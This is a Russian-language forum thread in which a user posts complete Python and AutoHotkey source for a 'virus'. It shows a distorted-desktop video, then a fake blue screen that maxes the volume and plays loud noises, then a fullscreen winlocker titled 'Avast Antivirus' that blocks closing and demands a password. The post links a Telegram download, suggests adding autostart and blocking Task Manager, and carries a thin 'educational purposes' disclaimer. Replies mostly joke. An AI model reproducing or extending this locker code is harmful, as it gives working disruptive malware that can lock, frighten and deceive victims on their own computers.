Загрузка...

Пишем вирус на Python

Тема в разделе Python создана пользователем sqully 20 ноя 2024. (поднята 2 дек 2024) 610 просмотров

  1. sqully
    sqully Автор темы 20 ноя 2024 Заблокирован(а) 160 19 мар 2021
    :anime_hi: Привет форум.
    Сейчас покажу как написать крутой вирус на шедевро-python. Краткий функционал - Наркомания на рабочем столе (аналог chilled windows), fake bsod с выкручиванием звука на максимум и неприятными звуками, ну и финалочка - винлокер
    Вот так выглядит вирус при открытии:


    Автор никого ни к чему не призывает. Всё что тут написано - написано в образовательных целях.
    Залил все в тгк, скачиваете оттуда все и суете в основную папку проекта - https://t.me/+BhXWw0aCMrFhNGFi
    Нам нужна штучка, которая будет выкручивать звук на 100, дабы было веселее. Создаем файл sound.ahk, в него пишем:

    Python
    SoundSet, 100
    Send {Volume_Up}
    Где 100 - громкость
    Пишем файл main.py :finger_up:

    Python
    import time
    import numpy as np
    import imageio
    import pygame
    from PIL import ImageGrab, Image
    from moviepy.editor import VideoFileClip, AudioFileClip
    import cv2
    import os

    def create_video(frames, output_file):
    fps = 25
    writer = imageio.get_writer(output_file, fps=fps)
    for frame in frames:
    writer.append_data(frame)
    writer.close()

    def main():
    pygame.mixer.init()

    pygame.mixer.music.load('start.mp3')
    pygame.mixer.music.play()
    time.sleep(1)

    im = ImageGrab.grab()
    original_image = np.array(im)
    mirrored_image = np.array(im.transpose(Image.FLIP_LEFT_RIGHT))
    flipped_image = np.array(im.transpose(Image.FLIP_TOP_BOTTOM))

    frames = []
    for _ in range(30):
    frames.append(original_image)
    frames.append(mirrored_image)

    for _ in range(75):
    frames.append(original_image)
    frames.append(flipped_image)

    create_video(frames, 'output.mp4')

    pygame.mixer.music.stop()

    video_clip = VideoFileClip('output.mp4')
    audio_clip = AudioFileClip('sound.mp3')
    final_video = video_clip.set_audio(audio_clip)

    final_video.write_videofile('final_output.mp4', codec='libx264', audio_codec='aac')

    final_video.preview()

    cv2.namedWindow('Video', cv2.WND_PROP_FULLSCREEN)
    cv2.setWindowProperty('Video', cv2.WND_PROP_FULLSCREEN, cv2.WINDOW_FULLSCREEN)
    cap = cv2.VideoCapture('final_output.mp4')

    while cap.isOpened():
    ret, frame = cap.read()
    if not ret:
    break
    cv2.imshow('Video', frame)
    if cv2.waitKey(25) & 0xFF == ord('q'):
    break

    cap.release()
    cv2.destroyAllWindows()

    os.system('python part2.py')

    if __name__ == "__main__":
    main()
    Именно этот код будет создавать и показывать видео с наркоманией, после чего запустит part2.py
    На самом деле эта часть была украдена с гитхаба. Но есть есть место быть. Создаем файл part2.py и пишем код:
    Python
    import pyautogui as py
    from PIL import Image, ImageTk
    import winsound
    import time
    import subprocess
    import tkinter as tk

    time.sleep(5)

    py.hotkey("win", "d")
    time.sleep(0.7)
    im = py.screenshot('ss.png')
    ISRUN = False
    TOTALLOOP = 0


    def toggle_geom():
    pass


    def exit_program(event):
    """удалить если не нужно"""
    root.destroy()
    exit()


    subprocess.Popen("ahk.exe sound.ahk") # громкость на 100 через ахк
    root = tk.Tk()
    root.geometry("{}x{}+0+0".format(root.winfo_screenwidth(),
    root.winfo_screenheight()))
    bg = tk.PhotoImage(file="ss.png")
    bgimage = tk.Label(root, image=bg, width=root.winfo_screenwidth(),
    height=root.winfo_screenheight(), borderwidth=0)
    bgimage.place(x=0, y=0)


    def update(ind):
    global TOTALLOOP
    if ind == 80:
    ind = 0
    TOTALLOOP += 1
    if ind < 10:
    indText = "0" + str(ind)
    else:
    indText = str(ind)
    directoryName = "./BSOD/bsodgif/frame_" + indText + "_delay-0.05s.png"
    img = Image.open(directoryName).resize(
    (root.winfo_screenwidth(), root.winfo_screenheight()), Image.LANCZOS)
    bg2 = ImageTk.PhotoImage(img)
    bgimage.configure(image=bg2)
    bgimage.image = bg2
    root.update()
    ind += 1
    if TOTALLOOP < 4:
    root.after(5, update, ind)
    else:
    img = Image.open("./BSOD/bsod7.png").resize((root.winfo_screenwidth(), root.winfo_screenheight()), Image.LANCZOS)
    bg1 = ImageTk.PhotoImage(img)
    bgimage.configure(image=bg1)
    bgimage.image = bg1
    root.update()
    winsound.PlaySound(None, winsound.SND_ASYNC)
    time.sleep(6)
    subprocess.Popen(["python", "locker.py"]) # Открытие винлокера
    root.destroy()
    exit()


    def updateImg(numb, sleepNum):
    imgName = "./BSOD/bsod" + str(numb) + ".png"
    img = Image.open(imgName).resize(
    (root.winfo_screenwidth(), root.winfo_screenheight()), Image.LANCZOS)
    bg1 = ImageTk.PhotoImage(img)
    bgimage.configure(image=bg1, cursor='none')
    bgimage.image = bg1
    root.update()
    time.sleep(sleepNum)


    def initiate(e):
    global ISRUN
    if ISRUN == False:
    ISRUN = True
    time.sleep(1)
    updateImg(1, 4)
    updateImg(2, 6)
    updateImg(3, 7)
    updateImg(4, 0.01)
    winsound.PlaySound('noise1.wav', winsound.SND_ASYNC)
    updateImg(3, 3)
    winsound.PlaySound('noise2.wav', winsound.SND_ASYNC)
    updateImg(6, 0.01)
    updateImg(3, 1.5)
    winsound.PlaySound('noise3.wav', winsound.SND_ASYNC)
    updateImg(4, 0.01)
    updateImg(3, 0.75)
    winsound.PlaySound('final.wav', winsound.SND_ASYNC)
    updateImg(5, 3)
    winsound.PlaySound('loop.wav', winsound.SND_LOOP + winsound.SND_ASYNC)
    root.after(0, update, 0)


    bgimage.bind('<Button-1>', initiate)
    root.attributes("-fullscreen", True)
    root.bind('<Escape>', toggle_geom)
    root.bind('<space>', exit_program) # удалить эту строку чтобы нельзя было закрыть
    root.attributes('-topmost', True)
    root.update()
    root.mainloop()
    Создаем locker.py и пишем в него код:


    Python
    import tkinter
    from tkinter import *
    import tkinter as tk
    from tkinter import ttk
    import getpass
    import sys
    import os
    import os.path
    import pyautogui
    from time import sleep

    username = getpass.getuser()

    window = Tk()
    window.title("Avast Antivirus")
    window.geometry('400x250')
    window['bg'] = 'black'

    normal_width = 1920
    normal_height = 1080
    screen_width = window.winfo_screenwidth()
    screen_height = window.winfo_screenheight()

    percentage_width = screen_width / (normal_width / 100)
    percentage_height = screen_height / (normal_height / 100)
    scale_factor = ((percentage_width + percentage_height) / 2) / 100
    fontsize = int(20 * scale_factor)
    minimum_size = 10

    if fontsize < minimum_size:
    fontsize = minimum_size

    fontsizeHding = int(72 * scale_factor)
    minimum_size = 40
    if fontsizeHding < minimum_size:
    fontsizeHding = minimum_size

    default_style = ttk.Style()
    default_style.configure('New.TButton', font=("Helvetica", fontsize))

    # Блокировщик горячих клавиш
    def block():
    pyautogui.moveTo(x=680,y=800)
    window.protocol("WM_DELETE_WINDOW",block)
    window.update()

    # Открытие в полный экран
    def fullscreen():
    window.attributes('-fullscreen', True, '-topmost', True)

    def clicked():
    res = format(txt.get())
    if res == 'password': # пароль менять тут
    sys.exit()

    fullscreen()

    txt_one = Label(window, text='winlocker', font=("Arial Bold", fontsizeHding), fg='red', bg='black')
    txt_two = Label(window, text='Ехх... амд бабах...', font=("Arial Bold", fontsizeHding), fg='red', bg='black')
    txt_three = Label(window, text='Ваш компьютер был заблокирован этим замечательным софтом. Пароль вам никто не скажет. Удачных голодных игр)', font=("Arial Bold", fontsize), fg='white', bg='black')

    txt_one.grid(column=0, row=0)
    txt_two.grid(column=0, row=0)
    txt_three.grid(column=0, row=0)

    txt_one.place(relx = .01, rely = .01)
    txt_two.place(relx = .01, rely = .11)
    txt_three.place(relx = .01, rely = .21)


    txt = Entry(window)
    btn = Button(window, text="Ввод", command=clicked)
    txt.place(relx = .28, rely = .5, relwidth=.3, relheight=.06)
    btn.place(relx = .62, rely = .5, relwidth=.1, relheight=.06)

    block()
    window.mainloop()

    Для тех кому лень копировать - фулл код также залил в
    :tg:
    Многие понимают, что это больше прикол чем вирус, но его можно дописать)
    Например: винлокер в автозагруку, блок диспетчера задач и так далее
     
    1. Киана
      sqully, имейте советь. Суйте свой код на гитхаб с меткой MIT
    2. sqully Автор темы
  2. зайцевПлюсОдин
    звуки пердежа имеются в проекте ?
     
    1. Посмотреть предыдущие комментарии (2)
  3. KasperIX
    KasperIX 20 ноя 2024 U dont hustle - u dont eat 425 2 янв 2022
    Требую добавить звук распада СССР!
    --- Сообщение объединено с предыдущим 20 ноя 2024
    Вообще крутая штука. Реально молодёжно, чётко, жёска
     
    1. sqully Автор темы
      KasperIX, меняй start.mp3 на звук распада ссср и будет тебе счастье
Top
Загрузка...